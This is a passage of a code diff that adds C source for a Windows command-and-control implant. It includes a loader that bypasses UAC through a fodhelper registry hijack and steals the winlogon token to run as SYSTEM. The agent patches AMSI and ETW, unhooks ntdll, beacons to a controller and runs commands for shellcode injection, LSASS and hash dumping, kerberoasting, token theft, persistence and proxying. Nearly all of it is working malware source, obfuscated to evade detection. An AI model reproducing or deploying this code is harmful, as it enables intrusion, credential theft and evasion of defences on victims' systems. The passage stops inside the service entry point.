+ _build_winlogon(_wl);
+
+ DWORD pid = 0;
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) return 0;
+ PROCESSENTRY32 pe = { sizeof(pe) };
+ if (Process32First(snap, &pe)) do {
+ if (_stricmp(pe.szExeFile, _wl) == 0) { pid = pe.th32ProcessID; break; }
+ } while (Process32Next(snap, &pe));
+ CloseHandle(snap);
+ return pid;
+}
+
+/* ── Elevated path: steal winlogon token → spawn agent as SYSTEM ─────── */
+
+static int _run_admin(api_t *api, const char *agent_path)
+{
+ _enable_privs(api);
+
+ DWORD pid = _winlogon_pid();
+ if (!pid) return -1;
+
+ HANDLE hp = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+ if (!hp) return -1;
+
+ HANDLE htok = NULL;
+ if (!api->OpenProcessToken(hp,
+ TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &htok)) {
+ CloseHandle(hp);
+ return -1;
+ }
+ CloseHandle(hp);
+
+ HANDLE hdup = NULL;
+ SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, FALSE };
+ if (!api->DuplicateTokenEx(htok, MAXIMUM_ALLOWED, &sa,
+ SecurityImpersonation, TokenPrimary, &hdup)) {
+ CloseHandle(htok);
+ return -1;
+ }
+ CloseHandle(htok);
+
+ /* Convert agent path to wide */
+ int wlen = MultiByteToWideChar(CP_ACP, 0, agent_path, -1, NULL, 0);
+ WCHAR *wpath = (WCHAR*)LocalAlloc(LMEM_ZEROINIT, (SIZE_T)wlen * sizeof(WCHAR));
+ if (!wpath) { CloseHandle(hdup); return -1; }
+ MultiByteToWideChar(CP_ACP, 0, agent_path, -1, wpath, wlen);
+
+ STARTUPINFOW si = { sizeof(si) };
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ PROCESS_INFORMATION pi = {0};
+
+ DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
+ BOOL ok = FALSE;
+
+ if (api->CreateProcessWithTokenW)
+ ok = api->CreateProcessWithTokenW(
+ hdup, LOGON_WITH_PROFILE, wpath, NULL, flags,
+ NULL, NULL, &si, &pi);
+
+ if (!ok && api->CreateProcessAsUserW)
+ ok = api->CreateProcessAsUserW(
+ hdup, wpath, NULL, NULL, NULL, FALSE, flags,
+ NULL, NULL, &si, &pi);
+
+ LocalFree(wpath);
+ CloseHandle(hdup);
+
+ if (ok) {
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ }
+ return ok ? 0 : -1;
+}
+
+/* ── Normal path: UAC bypass via fodhelper ms-settings hijack ────────── */
+
+static int _run_bypass(api_t *api, const char *self_path, const char *agent_path)
+{
+ char reg_key[128], reg_root[64];
+ _build_reg_path(reg_key, sizeof(reg_key));
+ _build_reg_root(reg_root, sizeof(reg_root));
+
+ /* cmd /c start "" "self_path" --admin "agent_path" */
+ char cmd_val[MAX_PATH * 2 + 64];
+ snprintf(cmd_val, sizeof(cmd_val),
+ "cmd /c start \"\" \"%s\" --admin \"%s\"", self_path, agent_path);
+
+ HKEY hk = NULL;
+ if (api->RegCreateKeyExA(HKEY_CURRENT_USER, reg_key, 0, NULL, 0,
+ KEY_WRITE, NULL, &hk, NULL) != ERROR_SUCCESS)
+ return -1;
+
+ api->RegSetValueExA(hk, NULL, 0, REG_SZ,
+ (const BYTE*)cmd_val, (DWORD)(strlen(cmd_val) + 1));
+
+ char de[16];
+ _build_delexec(de);
+ api->RegSetValueExA(hk, de, 0, REG_SZ, (const BYTE*)"", 1);
+ api->RegCloseKey(hk);
+
+ char fod[MAX_PATH + 16];
+ _build_fod(fod, sizeof(fod));
+
+ SHELLEXECUTEINFOA sei = { sizeof(sei) };
+ /* fMask = 0: no flags, matches PrivEsc01.c — NOCLOSEPROCESS breaks auto-elevate */
+ sei.lpFile = fod;
+ sei.nShow = SW_HIDE;
+
+ BOOL ok = api->ShellExecuteExA(&sei);
+ Sleep(3000);
+
+ /* Cleanup: delete created keys bottom-up */
+ api->RegDeleteKeyA(HKEY_CURRENT_USER, reg_key);
+ {
+ char _da[13], _fn[15];
+ EVS_D(_da, EVS_dll_advapi32);
+ HMODULE had2 = _peb_module(_da);
+ SecureZeroMemory(_da, sizeof(_da));
+ typedef LONG (WINAPI *fn_RDT)(HKEY,LPCSTR);
+ fn_RDT pRDT = NULL;
+ if (had2) {
+ EVS_D(_fn, EVS_fn_RegDeleteTreeA);
+ pRDT = (fn_RDT)(void*)GetProcAddress(had2, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+ }
+ if (pRDT) pRDT(HKEY_CURRENT_USER, reg_root);
+ }
+
+ return ok ? 0 : -1;
+}
+
+/* ── Entry point ─────────────────────────────────────────────────────── */
+
+int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lpCmd, int nC)
+{
+ (void)hI; (void)hP; (void)lpCmd; (void)nC;
+
+ api_t api;
+ if (_resolve(&api) != 0)
+ return 1;
+
+ /* Parse args from command line */
+ int argc = 0;
+ LPWSTR *argv_w = CommandLineToArgvW(GetCommandLineW(), &argc);
+ if (!argv_w) return 1;
+
+ /* Convert argv[1] and argv[2] to narrow */
+ char arg1[MAX_PATH] = {0}, arg2[MAX_PATH] = {0};
+ if (argc >= 2)
+ WideCharToMultiByte(CP_ACP, 0, argv_w[1], -1, arg1, sizeof(arg1), NULL, NULL);
+ if (argc >= 3)
+ WideCharToMultiByte(CP_ACP, 0, argv_w[2], -1, arg2, sizeof(arg2), NULL, NULL);
+ LocalFree(argv_w);
+
+ /* --admin "agent_path": elevated — steal winlogon token, spawn agent */
+ if (strcmp(arg1, "--admin") == 0) {
+ if (!arg2[0]) return 1; /* agent path required */
+ return _run_admin(&api, arg2) == 0 ? 0 : 1;
+ }
+
+ /* "agent_path": normal — UAC bypass via fodhelper */
+ if (!arg1[0]) return 1; /* agent path required */
+ const char *agent_path = arg1;
+
+ if (_is_admin(&api)) {
+ /* Already elevated — go straight to token steal */
+ return _run_admin(&api, agent_path) == 0 ? 0 : 1;
+ }
+
+ char self[MAX_PATH] = {0};
+ GetModuleFileNameA(NULL, self, sizeof(self) - 1);
+ return _run_bypass(&api, self, agent_path) == 0 ? 0 : 1;
+}
diff --git a/agent/src/main.c b/agent/src/main.c
new file mode 100644
index 0000000..d3aef00
--- /dev/null
+++ b/agent/src/main.c
@@ -0,0 +1,740 @@
+#include "beacon.h"
+#include "bof.h"
+#include "channels.h"
+#include "commands.h"
+#include "crypto.h"
+#include "evasion.h"
+#include "inject.h"
+#include "persist.h"
+#include "socks.h"
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#ifndef HTTP_ONLY
+#include
+#endif
+#include
+#include
+#include
+#include
+
+static int _cmdeq(const char *cmd, const unsigned char *enc, size_t n) {
+ volatile unsigned char k = EVS_KEY;
+ for (size_t i = 0; i < n; i++)
+ if ((unsigned char)cmd[i] != (unsigned char)(enc[i] ^ k)) return 0;
+ return cmd[n] == '\0';
+}
+
+static void agent_run(void)
+{
+ /* Read gs_flag at the very first instruction — before any slow init (evasion,
+ * curl, crypto). The parent polls this file after the UAC bypass fires; the
+ * narrower the window between agent start and flag deletion, the more reliable
+ * the detection. Store the result and act on it after full init below. */
+ int _gs_triggered = agent_read_gs_flag();
+
+ evasion_stomp_header();
+
+#ifndef SKIP_EVASION
+ evasion_unhook_ntdll();
+ evasion_patch_etw();
+ evasion_patch_amsi();
+ evasion_patch_etw_ti();
+#endif
+
+#ifndef HTTP_ONLY
+ curl_global_init(CURL_GLOBAL_DEFAULT);
+#endif
+
+ agent_ctx_t agent;
+ channel_config_t cfg;
+
+ int init_rc = agent_init(&agent);
+ if (init_rc != 0)
+ goto done;
+ channel_config_init(&cfg);
+
+ /* auto-getsystem: flag was consumed above, now escalate with a live context */
+ if (_gs_triggered) {
+ char _gs[4096] = {0};
+ cmd_getsystem(NULL, _gs, sizeof(_gs));
+ agent_get_username(agent.username, sizeof(agent.username));
+ agent_get_privileges(agent.privileges, sizeof(agent.privileges));
+ beacon_append_output(&agent, _gs, strlen(_gs));
+ }
+
+ /* phase 1: handshake */
+ while (!agent.handshake_done)
+ {
+ /* send our public key */
+ char *hs_pkt = beacon_build_handshake(&agent);
+ if (hs_pkt)
+ {
+ channel_send(&cfg, agent.agent_id, hs_pkt);
+ free(hs_pkt);
+ }
+
+ /* poll for server public key */
+ char *resp = channel_recv(&cfg, agent.agent_id);
+ if (resp)
+ {
+ char cmd[32] = {0}, args[4096] = {0}, task_id[64] = {0};
+ char *data = NULL;
+ beacon_parse_response(&agent, resp,
+ cmd, sizeof(cmd),
+ args, sizeof(args),
+ task_id, sizeof(task_id),
+ &data);
+ free(data);
+ free(resp);
+ }
+
+ if (!agent.handshake_done)
+ beacon_sleep(); /* jittered interval between handshake retries */
+ }
+
+ /* phase 2: main beacon loop */
+ for (;;)
+ {
+ /* build and send encrypted beacon */
+ char *pkt = beacon_build(&agent);
+ if (pkt)
+ {
+ if (channel_send(&cfg, agent.agent_id, pkt) == CHANNEL_OK)
+ {
+ /* beacon sent, clear output buffer */
+ beacon_clear_output(&agent);
+ }
+ free(pkt);
+ }
+
+ /* receive pending task */
+ char *raw = channel_recv(&cfg, agent.agent_id);
+ if (raw)
+ {
+ char cmd[32] = {0};
+ char args[4096] = {0};
+ char task_id[64] = {0};
+ char *data = NULL;
+
+ int parse_ok = beacon_parse_response(&agent, raw,
+ cmd, sizeof(cmd),
+ args, sizeof(args),
+ task_id, sizeof(task_id),
+ &data);
+ free(raw);
+
+ if (parse_ok == 0 && cmd[0] != '\0')
+ {
+ /* store task_id for ACK in next beacon */
+ snprintf(agent.last_task_id, sizeof(agent.last_task_id), "%s", task_id);
+
+ char *output = (char *)calloc(1, OUTPUT_BUF_SIZE);
+ if (!output) { free(data); continue; }
+ int ret = -1;
+
+ if (strcmp(cmd, "help") == 0 || strcmp(cmd, "h") == 0)
+ {
+ snprintf(output, OUTPUT_BUF_SIZE, "ok\n");
+ ret = 0;
+ }
+ else if (strcmp(cmd, "ls") == 0)
+ {
+ ret = cmd_ls(args[0] ? args : ".", output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "mkdir") == 0)
+ {
+ ret = cmd_mkdir(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "rm") == 0)
+ {
+ ret = cmd_rm(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "cp") == 0)
+ {
+ char src[1024] = {0}, dst[1024] = {0};
+ sscanf(args, "%1023s %1023s", src, dst);
+ ret = cmd_cp(src, dst, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "mv") == 0)
+ {
+ char src[1024] = {0}, dst[1024] = {0};
+ sscanf(args, "%1023s %1023s", src, dst);
+ ret = cmd_mv(src, dst, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "reg") == 0)
+ {
+ /* reg: query|set|delete [...] */
+ char action[16] = {0};
+ char keypath[512] = {0};
+ char valname[256] = {0};
+ char type_s[32] = {0};
+ char value[1024] = {0};
+
+ /* parse action */
+ const char *p = args;
+ sscanf(p, "%15s", action);
+ p = strchr(p, ' ');
+ if (p) p++;
+
+ if (p) {
+ /* parse key path, handles paths with spaces */
+ const char *q = p;
+ const char *key_end = NULL;
+ int first_tok = 1;
+ while (*q) {
+ const char *tok = q;
+ while (*q && *q != ' ') q++;
+ int in_key = (first_tok && strncmp(tok, "HKEY_", 5) == 0);
+ if (!in_key) {
+ for (const char *c = tok; c < q; c++)
+ if (*c == '\\') { in_key = 1; break; }
+ }
+ if (in_key) { key_end = q; }
+ else { break; }
+ first_tok = 0;
+ if (*q == ' ') q++;
+ }
+ if (key_end) {
+ size_t klen = (size_t)(key_end - p);
+ if (klen >= sizeof(keypath)) klen = sizeof(keypath) - 1;
+ strncpy(keypath, p, klen);
+ keypath[klen] = '\0';
+ p = key_end;
+ if (*p == ' ') p++;
+ if (!*p) p = NULL;
+ } else {
+ sscanf(p, "%511s", keypath);
+ p = strchr(p, ' ');
+ if (p) p++;
+ }
+ }
+
+ if (strcmp(action, "query") == 0) {
+ if (p) sscanf(p, "%255s", valname);
+ ret = cmd_reg_query(keypath, valname,
+ output, OUTPUT_BUF_SIZE);
+ } else if (strcmp(action, "set") == 0) {
+ /* valname type value (value may contain spaces) */
+ if (p) {
+ sscanf(p, "%255s", valname);
+ p = strchr(p, ' ');
+ if (p) p++;
+ }
+ if (p) {
+ sscanf(p, "%31s", type_s);
+ p = strchr(p, ' ');
+ if (p) p++;
+ }
+ if (p) {
+ strncpy(value, p, sizeof(value) - 1);
+ value[sizeof(value) - 1] = '\0';
+ }
+ ret = cmd_reg_set(keypath, valname, type_s, value,
+ output, OUTPUT_BUF_SIZE);
+ } else if (strcmp(action, "delete") == 0) {
+ if (p) sscanf(p, "%255s", valname);
+ ret = cmd_reg_delete(keypath, valname,
+ output, OUTPUT_BUF_SIZE);
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[reg] usage: query|set|delete ...\n");
+ ret = -1;
+ }
+ }
+#ifndef LEAN
+ else if (_cmdeq(cmd, EVS_str_cmd_shinject, sizeof(EVS_str_cmd_shinject)))
+ {
+ if (!data || !data[0]) {
+ snprintf(output, OUTPUT_BUF_SIZE, "e:0\n");
+ } else {
+ size_t sc_len = 0;
+ uint8_t *sc = base64_decode(data, &sc_len);
+ if (!sc) {
+ snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
+ } else {
+ ret = inject_self(sc, sc_len);
+ SecureZeroMemory(sc, sc_len);
+ free(sc);
+ if (ret == 0)
+ snprintf(output, OUTPUT_BUF_SIZE, "ok:%zu\n", sc_len);
+ else
+ snprintf(output, OUTPUT_BUF_SIZE, "rc:%d\n", ret);
+ }
+ }
+ }
+#endif /* LEAN */
+ else if (strcmp(cmd, "shell") == 0)
+ {
+ ret = cmd_shell(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "sysinfo") == 0)
+ {
+ ret = cmd_sysinfo(output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "ps") == 0)
+ {
+ ret = cmd_ps(output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "getpid") == 0)
+ {
+ ret = cmd_getpid(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "download") == 0)
+ {
+ ret = cmd_download(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "upload") == 0)
+ {
+ /* args = destination path, data = base64 file content */
+ ret = cmd_upload(args, data, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "sleep") == 0)
+ {
+ DWORD ms = (DWORD)strtoul(args, NULL, 10);
+ beacon_sleep_obf(ms);
+ snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n", ms);
+ ret = 0;
+ }
+#ifndef LEAN
+ else if (_cmdeq(cmd, EVS_str_cmd_inject, sizeof(EVS_str_cmd_inject)))
+ {
+ /* inject: args = "[pid] [method]", data = base64 shellcode */
+ char pid_s[16] = {0};
+ char method_s[16] = {0};
+ char extra[512] = {0}; /* optional dll_path for stomp */
+ sscanf(args, "%15s %15s %511s", pid_s, method_s, extra);
+
+ DWORD pid = (DWORD)strtoul(pid_s, NULL, 10);
+ if (pid == 0) pid = inject_find_target();
+
+ if (pid == 0) {
+ snprintf(output, OUTPUT_BUF_SIZE, "e:pid\n");
+ } else {
+ size_t sc_len = 0;
+ uint8_t *sc = base64_decode(data, &sc_len);
+ if (!sc) {
+ snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
+ } else {
+ /* method names as char arrays — no plaintext in .rdata */
+ char _mh[] = {'h','i','j','a','c','k',0};
+ char _me[] = {'e','a','r','l','y','b','i','r','d',0};
+ char _ms[] = {'s','t','o','m','p',0};
+ int use_hijack = (strcmp(method_s, _mh) == 0);
+ int use_earlybird = (strcmp(method_s, _me) == 0);
+ int use_stomp = (strcmp(method_s, _ms) == 0);
+
+ if (use_earlybird) {
+ ret = inject_earlybird(sc, sc_len);
+ SecureZeroMemory(sc, sc_len);
+ free(sc);
+ snprintf(output, OUTPUT_BUF_SIZE,
+ ret == 0 ? "ok\n" : "rc:%d\n", ret);
+ } else if (use_stomp) {
+ ret = inject_stomp(pid, sc, sc_len,
+ extra[0] ? extra : NULL);
+ SecureZeroMemory(sc, sc_len);
+ free(sc);
+ if (ret == 0)
+ snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
+ (unsigned long)pid);
+ else
+ snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
+ ret, (unsigned long)pid);
+ } else {
+ ret = use_hijack
+ ? inject_thread_hijack(pid, sc, sc_len)
+ : inject_remote(pid, sc, sc_len);
+ SecureZeroMemory(sc, sc_len);
+ free(sc);
+ if (ret == 0)
+ snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
+ (unsigned long)pid);
+ else
+ snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
+ ret, (unsigned long)pid);
+ }
+ }
+ }
+ }
+#endif /* LEAN */
+ else if (_cmdeq(cmd, EVS_str_cmd_bof, sizeof(EVS_str_cmd_bof)))
+ {
+ /* bof: data = b64 COFF, args = b64 packed BOF args */
+ ret = cmd_bof(data, args[0] ? args : NULL, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "socks") == 0)
+ {
+ char action[16] = {0};
+ char portstr[8] = {0};
+ sscanf(args, "%15s %7s", action, portstr);
+ if (strcmp(action, "start") == 0) {
+ unsigned short port = (unsigned short)strtoul(portstr, NULL, 10);
+ if (!port) port = 1080;
+ ret = socks_start(port, output, OUTPUT_BUF_SIZE);
+ } else if (strcmp(action, "stop") == 0) {
+ ret = socks_stop(output, OUTPUT_BUF_SIZE);
+ } else if (strcmp(action, "status") == 0) {
+ snprintf(output, OUTPUT_BUF_SIZE, "[socks] %s\n",
+ socks_running() ? "running" : "stopped");
+ ret = 0;
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[socks] usage: start | stop | status\n");
+ ret = -1;
+ }
+ }
+ else if (strcmp(cmd, "rportfwd") == 0)
+ {
+ /* rportfwd: start | stop | list */
+ char action[16] = {0};
+ char p1[256] = {0}; /* lport or rhost */
+ char p2[256] = {0}; /* rhost */
+ char p3[8] = {0}; /* rport */
+ sscanf(args, "%15s %255s %255s %7s", action, p1, p2, p3);
+
+ if (strcmp(action, "start") == 0) {
+ unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
+ unsigned short rport = (unsigned short)strtoul(p3, NULL, 10);
+ if (!lport || !rport || !p2[0]) {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[rportfwd] usage: start \n");
+ ret = -1;
+ } else {
+ ret = rportfwd_start(lport, p2, rport, output, OUTPUT_BUF_SIZE);
+ }
+ } else if (strcmp(action, "stop") == 0) {
+ unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
+ ret = rportfwd_stop(lport, output, OUTPUT_BUF_SIZE);
+ } else if (strcmp(action, "list") == 0) {
+ ret = rportfwd_list(output, OUTPUT_BUF_SIZE);
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[rportfwd] usage: start | stop | list\n");
+ ret = -1;
+ }
+ }
+ else if (strcmp(cmd, "persist") == 0)
+ {
+ /* persist: install registry|schtask|auto | remove registry|schtask */
+ char action[16] = {0};
+ char method_s[16] = {0};
+ sscanf(args, "%15s %15s", action, method_s);
+
+ if (strcmp(action, "install") == 0) {
+ if (strcmp(method_s, "registry") == 0)
+ ret = persist_install(PERSIST_REGISTRY);
+ else if (strcmp(method_s, "schtask") == 0)
+ ret = persist_install(PERSIST_SCHTASK);
+ else
+ ret = persist_auto();
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[persist] install rc=%d\n", ret);
+ } else if (strcmp(action, "remove") == 0) {
+ persist_method_t m = (strcmp(method_s, "registry") == 0)
+ ? PERSIST_REGISTRY : PERSIST_SCHTASK;
+ ret = persist_remove(m);
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[persist] remove rc=%d\n", ret);
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[persist] usage: install registry|schtask|auto / remove registry|schtask\n");
+ ret = -1;
+ }
+ }
+#ifndef LEAN
+ else if (_cmdeq(cmd, EVS_str_cmd_lsassdump, sizeof(EVS_str_cmd_lsassdump)))
+ {
+ ret = cmd_lsassdump(args[0] ? args : NULL,
+ output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_hashdump, sizeof(EVS_str_cmd_hashdump)))
+ {
+ ret = cmd_hashdump(args[0] ? args : NULL,
+ output, OUTPUT_BUF_SIZE);
+ }
+#endif /* LEAN */
+ else if (strcmp(cmd, "portscan") == 0)
+ {
+ /* portscan: - [timeout_ms] */
+ char host_s[256] = {0};
+ char range_s[32] = {0};
+ char timeout_s[16] = {0};
+ sscanf(args, "%255s %31s %15s", host_s, range_s, timeout_s);
+
+ unsigned short pstart = 1, pend = 1024;
+ char *dash = strchr(range_s, '-');
+ if (dash) {
+ *dash = '\0';
+ pstart = (unsigned short)strtoul(range_s, NULL, 10);
+ pend = (unsigned short)strtoul(dash + 1, NULL, 10);
+ } else if (range_s[0]) {
+ pstart = pend = (unsigned short)strtoul(range_s, NULL, 10);
+ }
+ int toms = timeout_s[0] ? (int)strtoul(timeout_s, NULL, 10) : 500;
+ ret = cmd_portscan(host_s, pstart, pend, toms,
+ output, OUTPUT_BUF_SIZE);
+ }
+#ifndef LEAN
+ else if (strcmp(cmd, "screenshot") == 0)
+ {
+ ret = cmd_screenshot(output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_execasm, sizeof(EVS_str_cmd_execasm)))
+ {
+ /* execute-assembly: data = b64 PE, args for Main */
+ size_t asm_len = 0;
+ uint8_t *asm_bytes = base64_decode(data, &asm_len);
+ if (!asm_bytes) {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[execute-assembly] b64 decode failed\n");
+ } else {
+ ret = cmd_execasm(asm_bytes, asm_len,
+ args[0] ? args : NULL,
+ output, OUTPUT_BUF_SIZE);
+ SecureZeroMemory(asm_bytes, asm_len);
+ free(asm_bytes);
+ }
+ }
+#endif /* LEAN */
+ else if (strcmp(cmd, "privs") == 0)
+ {
+ /* args: list | enable | disable */
+ char action[16] = {0};
+ char priv_name[64] = {0};
+ sscanf(args, "%15s %63s", action, priv_name);
+ ret = cmd_privs(action[0] ? action : "list",
+ priv_name, output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "spawn") == 0)
+ {
+ /* spawn: [real_args] */
+ char exe_path[512] = {0};
+ char fake_args[1024] = {0};
+ char real_args[1024] = {0};
+
+ /* first field: exe_path */
+ const char *p = args;
+ sscanf(p, "%511s", exe_path);
+ p = strchr(p, ' ');
+ if (p) p++;
+
+ /* second field: fake_args */
+ if (p) {
+ sscanf(p, "%1023s", fake_args);
+ p = strchr(p, ' ');
+ if (p) p++;
+ }
+
+ /* rest: real_args, may contain spaces */
+ if (p && p[0]) {
+ strncpy(real_args, p, sizeof(real_args) - 1);
+ real_args[sizeof(real_args) - 1] = '\0';
+ }
+
+ ret = cmd_spawn(exe_path, fake_args,
+ real_args[0] ? real_args : NULL,
+ output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "wmiexec") == 0)
+ {
+ /* wmiexec: , split on first space */
+ char host_s[256] = {0};
+ char wcmd[2048] = {0};
+ const char *wp = args;
+ sscanf(wp, "%255s", host_s);
+ wp = strchr(wp, ' ');
+ if (wp) { wp++; strncpy(wcmd, wp, sizeof(wcmd) - 1); }
+ ret = cmd_wmiexec(host_s, wcmd, output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_uacbypass, sizeof(EVS_str_cmd_uacbypass)))
+ {
+ ret = cmd_uacbypass(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_getsystem, sizeof(EVS_str_cmd_getsystem)))
+ {
+ ret = cmd_getsystem(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_privesc, sizeof(EVS_str_cmd_privesc)))
+ {
+ ret = cmd_privesc(output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "lpe_check") == 0)
+ {
+ ret = cmd_lpe_check(args, output, OUTPUT_BUF_SIZE);
+ }
+#ifndef LEAN
+ else if (_cmdeq(cmd, EVS_str_cmd_kerberoast, sizeof(EVS_str_cmd_kerberoast)))
+ {
+ ret = cmd_kerberoast(args, output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_asreproast, sizeof(EVS_str_cmd_asreproast)))
+ {
+ ret = cmd_asreproast(args, output, OUTPUT_BUF_SIZE);
+ }
+#endif /* LEAN */
+ else if (strcmp(cmd, "getuid") == 0)
+ {
+ ret = cmd_getuid(output, OUTPUT_BUF_SIZE);
+ }
+ else if (_cmdeq(cmd, EVS_str_cmd_steal_token, sizeof(EVS_str_cmd_steal_token)))
+ {
+ unsigned long pid = strtoul(args, NULL, 10);
+ if (!pid) {
+ snprintf(output, OUTPUT_BUF_SIZE, "[st] usage: st \n");
+ ret = -1;
+ } else {
+ ret = cmd_steal_token(pid, output, OUTPUT_BUF_SIZE);
+ }
+ }
+ else if (strcmp(cmd, "rev2self") == 0)
+ {
+ ret = cmd_rev2self(output, OUTPUT_BUF_SIZE);
+ }
+ else if (strcmp(cmd, "make_token") == 0)
+ {
+ /* make_token: args = "DOMAIN\\user password" */
+ char domain_user[256] = {0};
+ char password[256] = {0};
+ char *sp = strchr(args, ' ');
+ if (sp) {
+ size_t du_len = (size_t)(sp - args);
+ if (du_len >= sizeof(domain_user))
+ du_len = sizeof(domain_user) - 1;
+ memcpy(domain_user, args, du_len);
+ strncpy(password, sp + 1, sizeof(password) - 1);
+ } else {
+ size_t alen = strlen(args);
+ if (alen >= sizeof(domain_user)) alen = sizeof(domain_user) - 1;
+ memcpy(domain_user, args, alen);
+ domain_user[alen] = '\0';
+ }
+ ret = cmd_make_token(domain_user, password,
+ output, OUTPUT_BUF_SIZE);
+ SecureZeroMemory(password, sizeof(password));
+ }
+ else if (strcmp(cmd, "kill") == 0)
+ {
+ DWORD pid = (DWORD)strtoul(args, NULL, 10);
+ HANDLE hproc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
+ if (!hproc) {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[kill] OpenProcess(%lu) failed: %lu\n",
+ (unsigned long)pid, GetLastError());
+ } else {
+ TerminateProcess(hproc, 1);
+ CloseHandle(hproc);
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[kill] pid=%lu terminated\n",
+ (unsigned long)pid);
+ ret = 0;
+ }
+ }
+ else if (strcmp(cmd, "cd") == 0)
+ {
+ if (SetCurrentDirectoryA(args[0] ? args : ".")) {
+ GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output);
+ size_t n = strlen(output);
+ if (n < OUTPUT_BUF_SIZE - 1) {
+ output[n] = '\n'; output[n+1] = '\0';
+ }
+ ret = 0;
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[cd] failed: %lu\n", GetLastError());
+ }
+ }
+ else if (strcmp(cmd, "pwd") == 0)
+ {
+ if (GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output) > 0) {
+ size_t n = strlen(output);
+ if (n < OUTPUT_BUF_SIZE - 1) {
+ output[n] = '\n'; output[n+1] = '\0';
+ }
+ ret = 0;
+ } else {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[pwd] failed: %lu\n", GetLastError());
+ }
+ }
+ else
+ {
+ snprintf(output, OUTPUT_BUF_SIZE,
+ "[error] unknown command: %s\n", cmd);
+ }
+
+ beacon_append_output(&agent, output, strlen(output));
+ free(output);
+ }
+ free(data);
+ }
+
+ beacon_sleep();
+ }
+
+done:
+ agent_free(&agent);
+#ifndef HTTP_ONLY
+ curl_global_cleanup();
+#endif
+}
+
+/* ------------------------------------------------------------------ */
+/* Entry points */
+/* ------------------------------------------------------------------ */
+
+#ifdef _REFLECTIVE_DLL
+void agent_main(void) { agent_run(); }
+#else
+
+static SERVICE_STATUS_HANDLE g_ssh = NULL;
+static SERVICE_STATUS g_ss = {0};
+
+static void _svc_set(DWORD state, DWORD hint)
+{
+ g_ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
+ g_ss.dwCurrentState = state;
+ g_ss.dwControlsAccepted = (state == SERVICE_START_PENDING) ? 0 : SERVICE_ACCEPT_STOP;
+ g_ss.dwWin32ExitCode = NO_ERROR;
+ g_ss.dwServiceSpecificExitCode = 0;
+ g_ss.dwCheckPoint = (state == SERVICE_RUNNING || state == SERVICE_STOPPED) ? 0 : 1;
+ g_ss.dwWaitHint = hint;
+ { const adv_api_t *_a = adv_get(); if (_a->SetServiceStatus) _a->SetServiceStatus(g_ssh, &g_ss); }
+}
+
+static DWORD WINAPI _svc_agent_thread(LPVOID p) { (void)p; agent_run(); return 0; }
+
+static VOID WINAPI _svc_ctrl(DWORD ctrl)
+{
+ if (ctrl == SERVICE_CONTROL_STOP) {
+ _svc_set(SERVICE_STOP_PENDING, 3000);
+ ExitProcess(0);
+ }
+}
+
+static VOID WINAPI _svc_main(DWORD argc, LPSTR *argv)
+{
